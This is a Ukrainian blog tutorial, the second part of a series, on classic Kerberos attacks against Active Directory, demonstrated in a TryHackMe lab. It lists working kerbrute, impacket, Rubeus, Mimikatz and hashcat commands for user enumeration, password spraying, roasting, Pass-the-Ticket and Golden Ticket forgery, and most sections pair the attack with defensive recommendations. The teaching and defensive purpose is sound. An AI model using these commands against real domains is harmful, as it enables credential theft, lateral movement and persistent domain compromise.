Типові атаки на протокол Kerberos: приклади та поради щодо захисту (Частина 2)

13.01.2025 3 хвилин Автор: Lady Liberty

Пояснюємо, як саме зловмисники можуть скористатися вразливостями системи для отримання доступу до облікових записів, сервісів та критичних даних. Зокрема, йдеться про методи, що дозволяють обійти захисні механізми, підібрати паролі офлайн або підробити ключі доступу. У статті також наведені рекомендації, які допоможуть мінімізувати ризики подібних атак, забезпечивши більш високий рівень кіберзахисту компаній та організацій.

  • Дисклеймер: Ми усвідомлюємо, що на деяких фото або в матеріалах можуть зустрічатися написи російською мовою. Проте хіба це не чудово — використовувати їхню ж мову проти них?

Вступ

Для Active Directory відомо безліч атак із використанням протоколу Kerberos. Перерахуэмо деякі з них:

Атаки на підвищення привілеїв:

  1. Перебір користувачів

  2. Розпилення / Підбір паролів

  3. AS-REQ roasting

  4. AS-REP roasting

  5. Kerberoasting (AnySPN, цілеспрямований Kerberoasting)

Атаки для подальшого просування:

  1. Pass-the-Key / Overpass-the-hash

  2. Pass-the-Ticket / Pass-the-Cache

Атаки для закріплення:

  1. Silver Ticket

  2. Golden Ticket

  3. Skeleton Key

  4. Diamond Ticket

Далі буде розібрано “класичні” атаки з пунктів 1-9. Розбір решти атак вимагає викладу додаткового теоретичного матеріалу і поки що лише в планах на майбутнє.

Демонстрація деяких атак відбувалася на стенді з TryHackMe.

Атака на вибір імен користувачів

Для проведення атаки потрібен мережний доступ до контролера домену. Якщо вона буде успішною, можна отримати список із дійсними іменами деяких облікових записів користувачів домену.

Суть методу полягає у використанні властивості Kerberos, що дозволяє визначити, чи існує обліковий запис, навіть якщо вказано неправильний пароль. Це досягається шляхом надсилання KRB_AS_REQ повідомлення з вимкненою попередньою автентифікацією. Контролер домену реагує на запит по-різному:

  1. Якщо обліковий запис не існує — у відповіді буде повідомлення «користувач не відомий».

  2. Якщо обліковий запис існує, але попередня автентифікація ввімкнена — контролер вимагатиме її виконання.

  3. Якщо обліковий запис існує і попередня автентифікація вимкнена — у відповідь прийде повідомлення KRB_AS_REP.

Особливістю цієї атаки є те, що невдалі спроби перебору імен користувачів не фіксуються у логах як події неуспішного входу, а також не збільшується лічильник неправильних спроб введення пароля. Завдяки цьому ризик заблокувати обліковий запис повністю відсутній, що робить метод менш помітним порівняно з іншими способами.

Команда для проведення атаки:

./kerbrute_linux_amd64 userenum -d $Domain_fqdn $users_list --output $filename

Рекомендації щодо протидії:

Для відстеження підозрілих спроб аутентифікації можна використовувати системи аналізу трафіку або управління подіями інформаційної безпеки (SIEM). Зловмисники часто отримують імена користувачів із соцмереж, метаданих файлів або поштових адрес. Зазвичай облікові записи створюються за певним шаблоном: pivanov, ivanov_vp тощо. Тому доцільно спершу з’ясувати формат імен, а вже потім підбирати їх. У реальній практиці тестування на проникнення найчастіше список користувачів можна отримати через LDAP, що спрощує задачу.

Атака «розпорошення пароля»

Цей метод спрямований на підбір облікового запису, який використовує конкретний пароль. Кожна невдала спроба збільшує лічильник неправильних введень. Якщо він досягне порогового значення, обліковий запис буде заблоковано. Тому перед атакою важливо дізнатися параметри парольної політики:

  • Складність пароля – наявність малих та великих літер, цифр і спецсимволів.

  • Мінімальна довжина – зазвичай 7 символів.

  • Поріг блокування – кількість невдалих спроб до блокування.

  • Час скидання лічильника – інтервал, після якого невдалі спроби «обнуляються».

  • Тривалість блокування – період, протягом якого обліковий запис недоступний після блокування.

Для успішного підбору паролів слід врахувати поріг блокування та час скидання лічильника, щоб уникнути блокування користувачів під час атаки.

Команда для проведення атаки:

./kerbrute_linux_amd64 passwordspray -d $Domain_FQDN $users_list $Password

Рекомендації щодо протидії:

Реалізувати строгу парольну політику:

  • Мінімальна довжина пароля: 10 для користувачів, 14 для адміністраторів.

  • Поріг блокування облікового запису: 5.

  • Час до скидання: 30 хвилин.

  • Тривалість блокування та складність: за замовчуванням.

Заборонити використання попередніх паролів Додати правило, щоб новий пароль відрізнявся від попередніх на не менше, ніж 3 символи.

Періодично вивантажувати NT-хеші з NTDS.dit та проводити інвентаризацію облікових записів щодо наявності словникових паролів. Простий словник для інвентаризації можна взяти тут.

За допомогою межмережевих екранів обмежити доступ до KDC для мережевих об’єктів, що не входять до білого списку.

Джерело: Kerbrute

AS-REQ roasting

Умова проведення атаки:

  • Отримання KRB_AS_REQ повідомлення з включеною попередньою автентифікацією

Варіанти виконання умови:

  • Повідомлення можна отримати в результаті атаки, спрямованої на перехоплення мережевого трафіку (ARP spoofing, ICMP redirect, підроблений сервер DHCP, IPv6 spoofing).

  • Повідомлення можна витягти з дампа мережевого трафіку (PCredz)

Результат успішної атаки:

  • Доступ із правами атакованого облікового запису

З аналізу вмісту KRB_AS_REQ повідомлення з увімкненою попередньою автентифікацією видно, що мітка часу зашифровується з використанням отриманого з пароля ключа користувача. Таким чином, за наявності вказаного повідомлення можна спробувати оффлайн (без взаємодії з мережею на робочій станції атакуючого) підібрати пароль за словником.

Команди для проведення атаки в Linux:

Вилучення аутентифікаційних даних з pcap файлу:

Pcredz -f $filepath

Вилучення аутентифікаційних даних з усіх pcap файлів у папці:

Pcredz -d $dir_path

Вилучення аутентифікаційних даних під час прослуховування мережного інтерфейсу

Pcredz -i $interface_name -v

Hashcat:

Якщо штамп часу зашифрований за допомогою RC4:

hashcat -m 7500 $AS_Req_rc4_hashes $dictionary

У випадку AES256:

hashcat -m 19900 $AS_Req_AES256_hashes $dictionary

Рекомендація щодо протидії:

  • Реалізувати строгу парольну політику (дивись раніше )

  • З використанням вбудованих можливостей телекомунікаційного обладнання реалізувати захист від атак, спрямованих на перехоплення мережевого трафіку (DHCP snooping, Dynamic ARP Protection, IP Source Guard тощо).

  • Для привілейованих облікових записів використовувати двофакторну автентифікацію.

Особистий коментар : атака не користується особливою популярністю. Джерело

AS-REP roasting

Умови для атаки:

Необхідно знати ім’я облікового запису з вимкненою попередньою автентифікацією.

  • Варіанти за відсутності прав у непривілейованого користувача домену: Можна дізнатися ім’я користувача після проведення атаки Relay на контролер домену через LDAP і вивантаження списку всіх користувачів. Потім потрібно спробувати пройти автентифікацію без попередньої автентифікації для кожного користувача.

  • Варіанти за наявності прав у непривілейованого користувача: Зазначені права дозволяють використовувати інструменти на кшталт Ldapdomaindump або переглядати в Bloodhound для отримання списку користувачів.

Результат атаки:

Після отримання KRB_AS_REP з сесійним ключем, зашифрованим за допомогою секрету користувача, атакуючий може здійснити офлайн-підбір пароля за допомогою словника.

Реалізація атаки в Linux:

Якщо обліковий запис відсутній, атакуючий надсилає повідомлення KRB_AS_REQ від імені кожного користувача з виявленого списку.

Відформатуємо його належним чином:

cat found_users.txt | grep "VALID" | cut -f2 > formated_found_users.txt

З використанням отриманого файлу, що містить список дійсних імен, проведемо атаку:

impacket-GetNPUsers $Domain_FQDN/ -usersfile $users_list -outputfile $file

Зміст файлу AS_REP_hashes.txt після виконання запитів

Примітка: отримання помилки KRB_AP_ERR_SKEW (Clock skew too great) означає, що час на контролері домену і робочої станції атакуючого значно відрізняються. У Kerberos, як було розглянуто раніше, багато залежить від значення годинника. Таким чином, перш ніж повторювати атаку, слід синхронізувати час за допомогою наступної команди:

ntpdate $DC_IP

Альтернативно, за наявності прав користувача домену можна одразу отримати список облікових записів з відключеною попередньою автентифікацією за допомогою LDAP та відправити KRB_AS_REQ повідомлення тільки від їхнього імені:

impacket-GetNPUsers $domain_FQDN/$domain_username:$user_pass -request -outputfile $file

Також за наявності прав користувача можна зібрати інформацію для Bloodhound і вже там переглянути активні облікові записи з відключеною попередньою автентифікацією:

У виявлених облікових записів корисно перевірити права доступу:

В даному випадку видно, що один з облікових записів з вимкненою автентифікацією є адміністратором домену, що за наявності словникового пароля або відсутності жорсткої парольної політики для зазначеного облікового запису, є істотним недоліком.

Команди для реалізації атаки в Windows:

Для проведення атак на Kerberos з Windows існує корисний інструмент – Rubeus. Зазвичай мається на увазі, що Rubeus запущений у контексті процесу з правами користувача домену, тому в аргументах автентифікаційні дані не вказуються.

Rubeus.exe asreproast /outfile:$result_File

Отримавши заповітні хеші, можна здійснити оффлайн підбір пароля за допомогою Hashcat:

hashcat -m 18200 $asrep_hashes_file $dict_file

Рекомендація щодо протидії:

  • Реалізувати строгу парольну політику

  • Провести інвентаризацію облікових записів на предмет відключеної попередньої аутентифікації. Для кожного з виявлених облікових записів розглянути доцільність відключення.

  • За допомогою межмережевих екранів обмежити доступ до KDC для мережевих об’єктів, що не входять до білого списку.

Kerberoasting

Умова проведення атаки : права рівня непривілейованого користувача домену.

Деякі варіанти виконання умови:

  • AS-REP roasting

  • Підбір або розпорошення пароля

  • Експлуатація критичної вразливості

  • Виявити у відкритому вигляді у загальнодоступній мережній папці

  • Підбір методом офлайн перебору по NetNTLMv2 хешу

Результат успішної атаки : доступ до прав атакованого облікового запису.

Насамперед атакуючий здійснює пошук облікових записів, що мають SPN. Робиться це за допомогою LDAP, наприклад, з використанням наступного запиту:

"(&(objectClass=user)(objectCategory=user)(servicePrincipalName=*))"
  • Примітка: Для виконання наведеного вище запиту потрібні права рівня непривілейованого користувача домену. Пошук серед облікових записів класу “комп’ютер” не має сенсу, оскільки пароль до вказаних облікових записів не є словниковим.
Атакуючий надсилає KRB_TGS_REQ повідомлення з вказаним SPN для облікових записів, які були виявлені раніше. Оскільки контролер домену не перевіряє права доступу скомпрометованих облікових записів до сервісів, у відповідь надсилаються TGS квитки, зашифровані секретами відповідних сервісів. Це дозволяє атакуючому отримати ці квитки і спробувати офлайн підібрати паролі до сервісів за допомогою словника.

Команди для проведення атаки в Linux:

При необхідності синхронізуємо час:

ntpdate $DC_IP

Здійснюємо пошук усіх облікових записів, що мають SPN, та запитуємо для них TGS:

impacket-GetUserSPNs -dc-ip $DC_IP $Domain_FQDN/$username:$password -request -outputfile $file

Команди для проведення атаки у Windows:

Rubeus.exe kerberoast /outfile:$file

Примітка: Витягти TGS квитки та провести оффлайн підбір пароля також можливо в результаті аналізу мережевого трафіку за допомогою extracttgsrepfrompcap

Виявити сервісні облікові записи, а також подивитися права, які вони мають, можна за допомогою Bloodhound:

Пошук облікових записів, що мають SPN
Пошук привілейованих облікових записів, що мають SPN

На закінчення виконуємо перебір з Hashcat:

hashcat -m 13100 $kerberos_hashes $dictionary
Приклад успішного офлайн підбору пароля
Приклад результуючого виводу hashcat

Pass-the-Ticket (PtT) / Pass-the-Cache

Умова проведення атаки : наявність TGT чи TGS квитків.

Варіанти виконання умови:

  • Витягти квитки зі скомпрометованої робочої станції за наявності прав адміністратора

  • Витягти квитки з резервної копії робочої станції (без прав адміністратора)

  • Витягти з робочої станції квитки лише скомпрометованого користувача (без прав адміністратора)

  • Сформувати на своїй робочій станції самостійно за наявності відповідних автентифікаційних даних

Результат успішної атаки : подальше просування з правами скомпрометованого облікового запису. Перш ніж приступити до розбору атаки, розглянемо, як зберігаються квитки Kerberos в різних операційних системах.

У Linux для зберігання Kerberos використовується формат ccache (від credential cache).

  • у директорії /tmp у файлах з ім’ям, що мають вигляд: krb5cc_%{uid}

  • у пам’яті ядра, спеціально призначеного для зберігання ключів (kernel keyrings)

  • в пам’яті процесу користувача

У Windows квитки Kerberos зберігаються у пам’яті процесу lsass у форматі kirbi. Переглянути доступні поточному користувачеві квитки можна так:

PS C:\Users\Ivan> klist

Конвертувати квитки в необхідний формат можна так:

kirbi -> ccache (Windows -> Linux)

ticketConverter.py $ticket.kirbi $ticket.ccache

ccache -> kirbi (Linux -> Windows)

ticketConverter.py $ticket.ccache $ticket.kirbi

Команди для виконання атаки:

У Linux:

export KRB5CCNAME=path_to_ticket.ccache

У Windows за допомогою Mimikatz:

kerberos::ptt path_to_ticket.kirbi

У Mimikatz можна також використовувати ccache формат:

kerberos::ptt path_to_ticket.ccache

У Windows за допомогою Rubeus:

Rubeus.exe ptt /ticket:"base64 | file.kirbi"

У Linux для використання завантажених квитків у інструментах, що підтримують Kerberos, необхідно вказати відповідні ключі (як правило: -no-pass / -k ).

Про які інструменти йдеться? Насамперед про утиліти, що входять до складу Impacket, і crackmapexec.

Приклад:

psexec.py -k $Domain_FQDN/$username@$target

У Windows після завантаження в lsass квиток буде використовуватися за замовчуванням.

.\PsExec.exe -accepteula \\<target> cmd

PtT + AnySPN

Очевидно, що більше можливостей для подальшого просування надає саме TGT, адже TGS квиток використовується для доступу лише до певного сервісу.

Це дійсно так, але ще раз звернемося до атаки AnySPN. Під час Pass-the-Key можна замінити SPN у TGS-квитку та використовувати модифікований TGS-квиток для доступу до іншого сервісу, що належить тому ж обліковому запису.

Рекомендації щодо протидії Pass-the-Ticket:

  • При розподілі привілейованого доступу керуватиметься багаторівневою моделлю Microsoft. Використовувати для адміністрування некритичних об’єктів домену виділені облікові записи з обмеженими правами. Не використовуйте адміністративні облікові записи для доступу до рядових ресурсів.

  • Обмежити вхідні з’єднання на міжмережевому екрані кожного кінцевого мережного об’єкта, насамперед для серверів.

  • Використовувати Credential Guard для захисту процесу lsass.exe та протидії вилученню автентифікаційних даних на об’єктах мережі, що функціонують під керуванням ОС сімейства Windows.

  • Обмежити вхідні з’єднання на міжмережевому екрані кожного кінцевого вузла.

Джерела літератури:

Golden Ticket

  • Умова проведення атаки : наявність ключа облікового запису krbtgt. Атака DCsync

  • Результат успішної атаки : закріплення можливості доступу до скомпрометованого домену.

Наявність ключа облікового запису krbtgt дозволяє атакуючому формувати та змінювати TGT на власний розсуд. Таким чином, можливо скласти довільний PAC для будь-якого користувача домену і отримати від його імені доступ до необхідного сервісу з бажаними правами.

Команди для виконання атаки в Linux:

З використанням RC4 ключа (NT-хеша):

ticketer.py -nthash $krbtgtNThash -domain-sid $domainSID -domain $Domain $RandomUser

За допомогою AES ключа:

ticketer.py -aesKey $krbtgtAESkey -domain-sid $DomainSID -domain $Domain $RandomUser

З вказівкою ідентифікаторів груп:

ticketer.py -nthash $krbtgtNThash -domain-sid $DomainSID -domain $Domain -user-id $UserID -groups $GroupID1,$GroupID2, ... $RandomUser

Команди для виконання атаки у Windows:

З використанням RC4 ключа (NT-хеш) в Mimikatz:

kerberos::golden /domain:$Domain /sid:$DomainSID /rc4:$krbtgt_NThash /user:$RandomUser /ptt

З використанням AES128 ключа в Mimikatz:

kerberos::golden /domain:$Domain /sid:$DomainSID /aes128:$krbtgt_aes128_key /user:$RandomUser /ptt

З використанням AES256 ключа в Mimikatz:

kerberos::golden /domain:$Domain /sid:$DomainSID /aes256:$krbtgt_aes256_key /user:$RandomUser /ptt

Висновок

На цьому завершено огляд класичних атак на протокол Kerberos. Ми розглянули основні аспекти, поради щодо захисту та особливості реалізації цих атак. Сподіваюся, що цей матеріал допоможе краще зрозуміти механізми атак на Kerberos в середовищі Active Directory.

Однак, як би ми не прагнули, всі питання не можна охопити одразу. Деякі важливі теми, наприклад, пов’язані з делегуванням, залишились поза увагою. Також не були описані атаки, які створюють умови для подальших атак на Kerberos.

Підписатися
Сповістити про
0 Коментарі
Найстаріші
Найновіше Найбільше голосів
Знайшли помилку?
Якщо ви знайшли помилку, зробіть скріншот і надішліть його боту.